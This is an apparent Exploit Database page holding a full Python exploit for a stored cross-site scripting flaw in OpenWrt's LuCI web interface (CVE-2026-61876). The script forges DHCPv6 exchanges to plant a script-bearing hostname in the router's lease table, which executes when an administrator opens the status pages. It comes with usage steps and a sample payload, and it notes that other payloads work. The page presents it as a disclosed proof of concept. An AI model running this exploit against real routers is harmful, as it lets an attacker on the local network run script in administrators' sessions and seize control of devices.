- What: Cross-site scripting vulnerability in LuCI DHCPv6
- Impact: Attackers can inject malicious scripts
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youβve provided to them or that theyβve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting EDB-ID: 52637 CVE: 2026-61876 EDB Verified: Author: BANYAMER Type: DOS Exploit: / Platform: MULTIPLE Date: 2026-08-11 Vulnerable App: # Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting # CVE: CVE-2026-61876 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://openwrt.org/ # Software Link: https://github.com/openwrt/luci # Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch # Tested on: OpenWrt 25.12.0-rc1 x86_64 # Category: Remote # Platform: Linux # Exploit Type: Stored XSS # CVSS: 8.8 # Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables. # Fixed in: LuCI commit 55379d0 (and backports) # Usage: # python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>' # # Examples: # python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>' # # Options: # --ifindex Interface index of the LAN interface # --hostname Malicious hostname/FQDN payload # --server DHCPv6 server (default: ff02::1:2) # --release Release the lease after injection # # Notes: # β’ Requires adjacent network access (LAN) # β’ Administrator must view Status > Overview or Network > DHCP and DNS # β’ Payload example triggers alert(); other XSS payloads work too. # # How to Use # # Step 1: # Identify your LAN interface index: ip -o link show | awk '{print $1, $2}' # # Step 2: # Run the exploit and then open LuCI as admin to trigger the payload. def banner(): print(r""" ββββββββ ββββββ ββββ ββββββ βββ ββββββ ββββ ββββββββββββββββββββ ββββββββββββββββββββββ βββββββ βββββββββββββββββ βββββββββββββββββββββ βββββββββββββββββββββββ βββ βββββββ βββββββββββββββββββββββββ βββββββββ βββββββββββββββββββββββββββ βββββ βββββββββββββββββββββββββ ββββββββ ββββββββββββ ββββββ ββββββ βββ βββ ββββββ βββ ββββββββββββββ βββ βββββββ βββ ββββββ βββββ βββ βββ ββββββ ββββββββββββββ βββ βββ Banyamer Security βββ """) import argparse import os import random import socket import struct import time OPT_CLIENTID = 1 OPT_SERVERID = 2 OPT_IA_NA = 3 OPT_ORO = 6 OPT_ELAPSED = 8 OPT_STATUS = 13 OPT_IAADDR = 5 OPT_FQDN = 39 def opt(code, data): return struct.pack("!HH", code, len(data)) + data def options(buf): i = 0 while i + 4 <= len(buf): code, length = struct.unpack("!HH", buf[i:i + 4]) i += 4 yield code, buf[i:i + length] i += length def first_opt(buf, wanted): for code, data in options(buf): if code == wanted: return data return None def encode_domain(name): labels = name.rstrip(".").split(".") if name else [] out = bytearray() for label in labels: raw = label.encode("utf-8") if len(raw) > 63: raise ValueError("domain label too long for DHCPv6 FQDN option") out.append(len(raw)) out += raw out.append(0) return bytes(out) def make_duid(mac): dhcpv6_epoch = 946684800 now = int(time.time() - dhcpv6_epoch) return struct.pack("!HHI", 1, 1, now) + mac def make_msg(msg_type, txid, opts): return bytes([msg_type]) + txid + b"".join(opts) def parse_msg(data): if len(data) < 4: return None return data[0], data[1:4], data[4:] def open_sock(ifindex, port, bind_addr): s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.settimeout(4) try: s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex) except OSError: pass try: s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, port except OSError: if port != 0: s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, s.getsockname()[1] raise def send_recv(sock, dst, msg, txid, expect_types): sock.sendto(msg, dst) deadline = time.time() + 5 while time.time() < deadline: try: data, addr = sock.recvfrom(4096) except socket.timeout: break parsed = parse_msg(data) if not parsed: continue msg_type, rxid, opts = parsed if rxid == txid and msg_type in expect_types: return msg_type, opts, addr, data return None def status_text(ia_na): if not ia_na: return "" for code, data in options(ia_na[12:]): if code == OPT_STATUS and len(data) >= 2: status = struct.unpack("!H", data[:2])[0] text = data[2:].decode("utf-8", "replace") return f"status={status} {text}".strip() return "" def main(): banner() ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)") ap.add_argument("--ifindex", type=int, required=True) ap.add_argument("--hostname", required=True) ap.add_argument("--server", default="ff02::1:2") ap.add_argument("--bind-addr", default="::") ap.add_argument("--port", type=int, default=546) ap.add_argument("--release", action="store_true") ap.add_argument("--duid-hex") ap.add_argument("--iaid-hex") args = ap.parse_args() if args.duid_hex: duid = bytes.fromhex(args.duid_hex) mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6 else: mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)]) duid = make_duid(mac) iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4) fqdn = bytes([0]) + encode_domain(args.hostname) oro = struct.pack("!HHH", 23, 24, OPT_FQDN) sock, sport = open_sock(args.ifindex, args.port, args.bind_addr) dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0) txid = os.urandom(3) solicit = make_msg(1, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) adv = send_recv(sock, dst, solicit, txid, {2}) if not adv: print(f"NO_ADVERTISE source_port={sport}") return 2 _, adv_opts, addr, _ = adv serverid = first_opt(adv_opts, OPT_SERVERID) ia_na = first_opt(adv_opts, OPT_IA_NA) print(f"ADVERTISE from={addr[0]} source_port={sport}") if not serverid or not ia_na: return 3 txid = os.urandom(3) request = make_msg(3, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) rep = send_recv(sock, dst, request, txid, {7}) if not rep: print("NO_REPLY") return 4 _, reply_opts, addr, _ = rep print(f"REPLY from={addr[0]}") if args.release: txid = os.urandom(3) release = make_msg(8, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), ]) rel = send_recv(sock, dst, release, txid, {7}) print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY") print(f"DUID={duid.hex()} IAID={iaid.hex()}") return 0 if __name__ == "__main__": raise SystemExit(main()) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES Β© OffSec Services Limited 2026. All rights reserved.